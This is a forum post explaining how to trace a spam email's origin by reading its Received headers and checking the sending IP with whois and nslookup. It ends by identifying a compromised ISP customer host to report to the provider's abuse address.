X-Mailer: Internet Mail Service (5.5.2650.21)

X-Priority: 3

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary="MIMEStream=_0+211404_90873633350646_4032088448"

According to the From header this message is from Maricela Paulson at s359dyxxt@yahoo.com. I could just fire off a message to abuse@yahoo.com, but that would be waste of time. This message didn't come from yahoo's email service.

The header most likely to be useful in determining the actual source of an email message is the Received header. According to the top-most Received header this message was received from the host 12-218-172-108.client.mchsi.com with the ip address of 21.218.172.108 by my server mailhost.example.com. An important item to consider is at what point in the chain does the email system become untrusted? I consider anything beyond my own email server to be an unreliable source of information. Because this header was generated by my email server it is reasonable for me to accept it at face value.

The next Received header (which is chronologically the first) shows the remote email server accepting the message from the host 0udjou with the ip 193.12.169.0. Those of you who know anything about IP will realize that that is not a valid host IP address. In addition, any hostname that ends in client.mchsi.com is unlikely to be an authorized email server. This has every sign of being a cracked client system.

Here's is where we start digging. By default Windows is somewhat lacking in network diagnostic tools; however, you can use the tools at to do your own checking.

davar@nqh9k:[/home/davar] $whois 12.218.172.108

AT&T WorldNet Services ATT (NET-12-0-0-0-1)

12.0.0.0 - 12.255.255.255

Mediacom Communications Corp MEDIACOMCC-12-218-168-0-FLANDREAU-MN (NET-12-218-168-0-1)

12.218.168.0 - 12.218.175.255

# ARIN WHOIS database, last updated 2003-12-31 19:15

# Enter ? for additional hints on searching ARIN's WHOIS database.

I can also verify the hostname of the remote server by using nslookup, although in this particular instance, my email server has already provided both the IP address and the hostname.

davar@nqh9k:[/home/davar] $nslookup 12.218.172.108

Server: localhost

Address: 127.0.0.1

Name: 12-218-172-108.client.mchsi.com

Address: 12.218.172.108

Ok, whois shows that Mediacom Communications owns that netblock and nslookup confirms the address to hostname mapping of the remote server,12-218-172-108.client.mchsi.com. If I preface a www in front of the domain name portion and plug that into my web browser, http://www.mchsi.com, I get Mediacom's web site.

There are few things more embarrassing to me than firing off an angry message to someone who is supposedly responsible for a problem, and being wrong. By double checking who owns the remote host's IP address using two different tools (whois and nslookup) I minimize the chance of making myself look like an idiot.

A quick glance at the web site and it appears they are an ISP. Now if I copy the entire message including the headers into a new email message and send it to abuse@mchsi.com with a short message explaining the situation, they may do something about it.

But what about Maricela Paulson? There really is no way to determine who sent a message, the best you can hope for is to find out what host sent it. Even in the case of a PGP signed messages there is no guarantee that one particular person actually pressed the send button. Obviously determining who the actual sender of an email message is much more involved than reading the From header. Hopefully this example may be of some use to other forum regulars.